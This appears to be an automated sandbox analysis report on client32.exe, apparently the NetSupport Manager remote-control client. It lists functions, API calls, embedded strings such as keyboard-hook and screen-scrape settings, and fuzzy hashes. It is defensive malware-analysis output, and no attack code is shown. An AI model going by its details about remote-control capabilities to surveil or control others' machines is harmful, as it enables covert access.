Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 07b6c080e2ef9d1b524653a43e28c47792f2e6050ec9e1d6ef6176c43a5e0348
Instruction ID: 2330733e60bf6a127bb8479b673e73a50ba3166191bfb56ce9f8e109ae2e049c
Opcode Fuzzy Hash: 07b6c080e2ef9d1b524653a43e28c47792f2e6050ec9e1d6ef6176c43a5e0348
Instruction Fuzzy Hash: 09E0EC71A00611ABE738CE249D95FA777ECAF08B11F21496DF956E6180CAA0E8448B64

Function 1102E15E Relevance: 209.8, APIs: 31, Strings: 88, Instructions: 1502COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00002000), ref: 1102E234
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 1102E266

Strings

EnableGradientCaptions, xrefs: 1102E940, 1102E957, 1102E978
Info. Client already running, pid=%d (x%x), xrefs: 1102E43F
gClient.hNotifyEvent, xrefs: 1102E27F
client32, xrefs: 1102E655, 1102E7F2
EnableSmartcardAuth, xrefs: 1102F93B
Intel error "%s", xrefs: 1102E7B8
UseNTSecurity, xrefs: 1102F91A
u.j, xrefs: 1102EE2F
NSMWClassVista, xrefs: 1102E1E5
closed ok, xrefs: 1102E4CE
LSPloaded=%d, WFPloaded=%d, xrefs: 1102EA2A
DisableConsoleClient, xrefs: 1102EAA0, 1102EB35
Error. Could not load transports - perhaps another client is running, xrefs: 1102F6C3
RestartAfterError, xrefs: 1102EA6A
UseLegacyPrintCapture, xrefs: 1102EEA5
pcicl32, xrefs: 1102E3C4
View, xrefs: 1102E545, 1102E945, 1102E95C, 1102E97D
TracePriv, xrefs: 1102F469
Windows Ding.wav, xrefs: 1102EE41
Bridge, xrefs: 1102E52D
Session shutting down, exiting..., xrefs: 1102E23E
_debug, xrefs: 1102F46E
AssertTimeout, xrefs: 1102E993
Info. Trying to close client, xrefs: 1102E4A4
DisableAudio, xrefs: 1102EAD0, 1102EAF1, 1102EB5F, 1102ECC6, 1102ED64
NSMWClass, xrefs: 1102E1F6, 1102E3D7, 1102E4E4, 1102F9EF
*StartupDelay, xrefs: 1102F48B
NSMWControl32, xrefs: 1102FB52
NSSWControl32, xrefs: 1102FB81
DisableTSAdmin, xrefs: 1102EAB8
WRh, xrefs: 1102E349
WRh, xrefs: 1102E2F4
Audio, xrefs: 1102EB0E, 1102EEE6
hClientRunning = %x, pid=%d (x%x), xrefs: 1102E51A
jj, xrefs: 1102F4FE
NoFTWhenLoggedOff, xrefs: 1102ED7C
Client, xrefs: 1102E539, 1102EA48, 1102EAD5, 1102EAF6, 1102EB64, 1102EB7C, 1102EB94, 1102EBBE, 1102EBE8, 1102EC1E, 1102EC53, 1102EC6B, 1102EC83, 1102EC9B, 1102ECB3, 1102ECCB, 1102ECF1, 1102ED09, 1102ED21, 1102ED39, 1102ED51, 1102ED69, 1102ED81, 1102ED99, 1102EEAA, 1102F490, 1102F536, 1102F57F, 1102F75A, 1102F7B1, 1102F7CD, 1102F7F4, 1102F904, 1102F91F, 1102F940, 1102FA31
DisableJournal, xrefs: 1102EC96, 1102ED34
jjjj, xrefs: 1102F80A
V12.00.4, xrefs: 1102F3EC
TCPIP, xrefs: 1102FB03
NSTWControl32, xrefs: 1102FBAA
*ScreenScrape, xrefs: 1102F531, 1102F57A, 1102F7AC
DisableHelp, xrefs: 1102ED94
Global\NSMWClassAdmin, xrefs: 1102F9FA
DisableAudioFilter, xrefs: 1102EB09, 1102EEE1
RWh, xrefs: 1102E452
istaUI, xrefs: 1102E166
*BeepSound, xrefs: 1102EE0C
Windows XP Ding.wav, xrefs: 1102EE48
DisableRequestHelp, xrefs: 1102EC7E, 1102ED1C
*BeepUsingSpeaker, xrefs: 1102EDD9
t&h, xrefs: 1102E22D
DisableJoinClass, xrefs: 1102EC4E, 1102ECEC
V12.10.4, xrefs: 1102F3F3, 1102F427
EnableSmartcardLogon, xrefs: 1102F8FF
830021, xrefs: 1102F5ED, 1102F687, 1102F764
DisableJournalMenu, xrefs: 1102ECAE, 1102ED4C
AlwaysOnTop, xrefs: 1102F7EF
*ListenPort, xrefs: 1102FAFE
Windows 95, xrefs: 1102EF29
jj, xrefs: 1102F4E2
DisableReplayMenu, xrefs: 1102EC66, 1102ED04
Info. Client running as user=%s, type=%d, xrefs: 1102E492
NSM.LIC, xrefs: 1102E56D, 1102E60B
Default, xrefs: 1102FB4B, 1102FB7A, 1102FBA3
WPh, xrefs: 1102E325
General, xrefs: 1102E998, 1102EA6F, 1102EDDE, 1102EE11
*PriorityClass, xrefs: 1102F7C8
ScreenScrape, xrefs: 1102EB8F, 1102EBB9, 1102EBE3
NeedsReinstall, xrefs: 1102EA43
TraceIPC, xrefs: 1102FA5F
Ready, xrefs: 1102FBC1
Error. Wrong hardware. Terminating, xrefs: 1102E759
DisableRunplugin, xrefs: 1102EB77
NSA.LIC, xrefs: 1102E57B, 1102E582, 1102E5A5
IsILS returned %d, isvistaservice %d, xrefs: 1102E72A
CLIENT32.CPP, xrefs: 1102E27A, 1102E80B
|, xrefs: 1102E2DF
Error x%x reading nsm.lic, sesh=%d, xrefs: 1102E5D6
\, xrefs: 1102E2BF
MiniDumpType, xrefs: 1102E9B1
win8ui, xrefs: 1102E858
s, xrefs: 1102E3A8
ShowKBEnable, xrefs: 1102EC19
UseIPC, xrefs: 1102FA2C
_debug, xrefs: 1102E85D, 1102E9B6, 1102FA64
|#j, xrefs: 1102EE9F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateEventMetricsSystem
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$830021$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$RWh$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.4$V12.10.4$View$WPh$WRh$WRh$Windows 95$Windows Ding.wav$Windows XP Ding.wav$_debug$_debug$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaUI$jj$jj$jjjj$pcicl32$t&h$u.j$win8ui$|#j$\$s$|
API String ID: 1866202007-2929650182
Opcode ID: 408c2fe09a5f6513f0d4732c7edee4b67311bb803a75e32f8b7f7cef0c5b0f00
Instruction ID: b300946befec89326bcf45d0e3de5fe608372e51a41b6fb818d772ce7a29db62
Opcode Fuzzy Hash: 408c2fe09a5f6513f0d4732c7edee4b67311bb803a75e32f8b7f7cef0c5b0f00
Instruction Fuzzy Hash: F7B2FC74F4122A6BEB11DBE58C45FEDF7966B4470CF9040A8EA197B2C4FBB06940CB52

Function 1102D5B0 Relevance: 81.1, APIs: 15, Strings: 31, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MacAddress, xrefs: 1102DADF
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102DE9A
client32, xrefs: 1102D8D5
%s.%02d, xrefs: 1102DD00
client32 dbi %hs, xrefs: 1102DE73
$session$, xrefs: 1102DD66
830021, xrefs: 1102DBF5, 1102DDBB, 1102DDDF, 1102DDEC, 1102DE1C, 1102DE91
, xrefs: 1102DB65
WTSFreeMemory, xrefs: 1102DB11
DisableConsoleClient, xrefs: 1102D917
screenscrape, xrefs: 1102D9C8
%sessionname%, xrefs: 1102DD39, 1102DD52
IsA(), xrefs: 1102DD29, 1102DDA8
Wtsapi32.dll, xrefs: 1102D9DC
NSMWClass, xrefs: 1102D794
%session%, xrefs: 1102DD7A
TSMode, xrefs: 1102D990
Warning: Unexpanded clientname=<%s>, xrefs: 1102DCA3
%02d, xrefs: 1102DCE8
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DAA4
ClientName, xrefs: 1102DB95
Client, xrefs: 1102D995, 1102D9CD, 1102DAE4
30/10/15 13:45:13 V12.10F4, xrefs: 1102DE6E
TCPIP, xrefs: 1102D9B5
ts macaddr=%s, xrefs: 1102DACC
WTSQuerySessionInformationA, xrefs: 1102DA4E
ListenPort, xrefs: 1102D9B0
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102DEC0
client32.ini, xrefs: 1102D805
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102DD24, 1102DDA3
Error x%x reading %s, sesh=%d, xrefs: 1102D861

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$30/10/15 13:45:13 V12.10F4$830021$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1984265443-3152588107
Opcode ID: 38c7c6f243f953fd73c3e761b2ebc1a9b74cfbed7768dff45ff639fbb013f980
Instruction ID: 4fcf39a05b1f5517457e0201ca3c447b40b49c63e9df5c66bfbc6ef5231c6bdf
Opcode Fuzzy Hash: 38c7c6f243f953fd73c3e761b2ebc1a9b74cfbed7768dff45ff639fbb013f980
Instruction Fuzzy Hash: D632B375D0026A9FDB12DFA4CC90BEDB7B9BB44308F8045E9E559A7240EB706E84CF61

Function 685A3D00 Relevance: 68.6, APIs: 11, Strings: 28, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 685A3D27

Strings

connection_index == 0, xrefs: 685A3D7A
CLIENT_VERSION=1.0, xrefs: 685A3ED0
*Dept, xrefs: 685A41F4
APPTYPE=%d, xrefs: 685A41DD
CMD=OPEN, xrefs: 685A3EB9
GSK=%s, xrefs: 685A3FCC
client247, xrefs: 685A400F, 685A406B, 685A40D1, 685A412B, 685A4185
MAXPACKET=%d, xrefs: 685A3F01
830021, xrefs: 685A3F0C
ListenPort, xrefs: 685A3DDA
A4=%s, xrefs: 685A41BD
DEPT=%s, xrefs: 685A420C
PROTOCOL_VER=%u.%u, xrefs: 685A3EEB
*Gsk, xrefs: 685A3E24
HOSTNAME=%s, xrefs: 685A3F9A
CLIENT_NAME=%s, xrefs: 685A3F17
CHATID, xrefs: 685A400A
A2=%s, xrefs: 685A4109
CLIENT_ADDR=%s, xrefs: 685A3F4A
CMPI=%u, xrefs: 685A3FEA
PORT=%d, xrefs: 685A3F68
CHATID=%s, xrefs: 685A4046
A3=%s, xrefs: 685A4163
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 685A3D75
1.1, xrefs: 685A3E02
Port, xrefs: 685A3DCA
TCPIP, xrefs: 685A3DCF, 685A3DDF
A1=%s, xrefs: 685A40AF

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: *Dept$*Gsk$1.1$830021$A1=%s$A2=%s$A3=%s$A4=%s$APPTYPE=%d$CHATID$CHATID=%s$CLIENT_ADDR=%s$CLIENT_NAME=%s$CLIENT_VERSION=1.0$CMD=OPEN$CMPI=%u$DEPT=%s$GSK=%s$HOSTNAME=%s$ListenPort$MAXPACKET=%d$PORT=%d$PROTOCOL_VER=%u.%u$Port$TCPIP$client247$connection_index == 0$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c
API String ID: 2102423945-2450370199
Opcode ID: 16c8762505f452347963c145f71cddefc6238d18a80335e6c131ef3a20951167
Instruction ID: 44891fd80584a1afe0cb340a92391f0779c0d43f19a44a21a32dfc9e2d24338d
Opcode Fuzzy Hash: 16c8762505f452347963c145f71cddefc6238d18a80335e6c131ef3a20951167
Instruction Fuzzy Hash: 91E182B6C4061CAACB21DB648C90FFFB778AF99205FC045D9E90963141EB356F848FA5

Function 1113FBE0 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,8504C483,74DF23A0), ref: 1113FC13
LoadLibraryA.KERNEL32(?), ref: 1113FC5C
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 1113FC75
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 1113FC84
GetModuleHandleA.KERNEL32(?), ref: 1113FC8A
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 1113FC9E
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1113FCBD
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 1113FCC8
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 1113FCD3
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1113FCDE
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 1113FCE9
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 1113FCF4
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1113FCFF
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1113FD0A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 1113FD15
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 1113FD20
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 1113FD2B
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 1113FD36
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 1113FD41
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 1113FD4C

Part of subcall function 11080BE0: _strrchr.LIBCMT ref: 11080BEE

Strings

SymGetLinePrev, xrefs: 1113FCCA
SymGetSymFromAddr, xrefs: 1113FD2D
SymFunctionTableAccess, xrefs: 1113FD38
SymCleanup, xrefs: 1113FCEB
SymSetOptions, xrefs: 1113FD17
SymGetLineFromAddr, xrefs: 1113FC98
SymGetLineFromName, xrefs: 1113FCB7
IMAGEHLP.DLL, xrefs: 1113FC7E, 1113FC83, 1113FC89
SymLoadModule, xrefs: 1113FCF6
DBGHELP.DLL, xrefs: 1113FC6F, 1113FC74
MiniDumpWriteDump, xrefs: 1113FD43
SymGetLineNext, xrefs: 1113FCBF
StackWalk, xrefs: 1113FCE3
SymGetModuleInfo, xrefs: 1113FD22
SymMatchFileName, xrefs: 1113FCD5
SymInitialize, xrefs: 1113FD01
SymGetOptions, xrefs: 1113FD0C
dbghelp.dll, xrefs: 1113FC38

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: a663583c766d6c91d1e2bc8e78e71f3cffff341cab0567ac53c27f630418ddde
Instruction ID: 7823fe44ffa72cf0609a50e83b8fe1e4d3ef80fae5d5290087d1941409006158
Opcode Fuzzy Hash: a663583c766d6c91d1e2bc8e78e71f3cffff341cab0567ac53c27f630418ddde
Instruction Fuzzy Hash: 8A413F70A00B05AFD7209F7A8CC8E6AFBF8FF59715B04496EE485D3690E774E8408B59

Function 1113DAD0 Relevance: 52.8, APIs: 14, Strings: 16, Instructions: 266
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 1113DB64
SetLastError.KERNEL32(00000078), ref: 1113DB73
FreeLibrary.KERNEL32(00000000), ref: 1113DB85
LoadLibraryA.KERNEL32(imm32,?,?,00000002,00000000), ref: 1113DBC4
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 1113DC29
_memset.LIBCMT ref: 1113DC3D
LoadCursorA.USER32(00000000,00007F00), ref: 1113DC8F
GetStockObject.GDI32(00000000), ref: 1113DC9A
LoadLibraryA.KERNEL32(pcihooks,?,?,00000002,00000000), ref: 1113DD52
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 1113DD67
RegisterClassExA.USER32(?), ref: 1113DCB5

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

SetTimer.USER32(00000000,00000000,000003E8,11139470), ref: 1113DE94
#17.COMCTL32(?,?,?,00000002,00000000), ref: 1113DEC9
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000002,00000000), ref: 1113DED4

Part of subcall function 11015E10: LoadLibraryA.KERNEL32(User32.dll), ref: 11015E18

Strings

UI.CPP, xrefs: 1113DC66, 1113DCC7
_License, xrefs: 1113DBF6
*DisableDPIAware, xrefs: 1113DB25
*quiet, xrefs: 1113DBF1
InitUI (%d), xrefs: 1113DAFB
imm32, xrefs: 1113DBBA
TraceCopyData, xrefs: 1113DDBB
riched32.dll, xrefs: 1113DECF
Client, xrefs: 1113DB2A
View, xrefs: 1113DD9E
pcihooks, xrefs: 1113DD4D
HookKeyboard, xrefs: 1113DD61
NSMGetAppIcon(), xrefs: 1113DC6B
SetProcessDPIAware, xrefs: 1113DB5E
NSMWClass, xrefs: 1113DC1B, 1113DCAE
_debug, xrefs: 1113DDC0

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressClassProc$CursorErrorFreeInfoLastObjectRegisterStockTimer__wcstoi64_memset
String ID: *DisableDPIAware$*quiet$Client$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$SetProcessDPIAware$TraceCopyData$UI.CPP$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 2794364348-3534351892
Opcode ID: 571120301c2cbdaac190665f23ae6cd54b107ab8e29346c4d7356b84dcf3b421
Instruction ID: eeaa44aaf805afce620a012973528e55005956dd55c3add89e5b481fbdd40cac
Opcode Fuzzy Hash: 571120301c2cbdaac190665f23ae6cd54b107ab8e29346c4d7356b84dcf3b421
Instruction Fuzzy Hash: FCB1F674A1122A9FDB02DFE1CD88BADFBB5AB8472EF904138E525972C8F7745040CB56

Function 1102D679 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,?,?,?,?,?,?,?,00000100), ref: 1102D9E1

Strings

MacAddress, xrefs: 1102DADF
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102DE9A
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DAA4
client32 dbi %hs, xrefs: 1102DE73
830021, xrefs: 1102DBF5, 1102DE1C, 1102DE91
ClientName, xrefs: 1102DB95
, xrefs: 1102DB65
Client, xrefs: 1102D995, 1102D9CD, 1102DAE4
WTSFreeMemory, xrefs: 1102DB11
30/10/15 13:45:13 V12.10F4, xrefs: 1102DE6E
TCPIP, xrefs: 1102D9B5
ts macaddr=%s, xrefs: 1102DACC
DisableConsoleClient, xrefs: 1102D917
screenscrape, xrefs: 1102D9C8
WTSQuerySessionInformationA, xrefs: 1102DA4E
ListenPort, xrefs: 1102D9B0
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102DEC0
client32.ini, xrefs: 1102D805
Wtsapi32.dll, xrefs: 1102D9DC
TSMode, xrefs: 1102D990
Error x%x reading %s, sesh=%d, xrefs: 1102D861

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
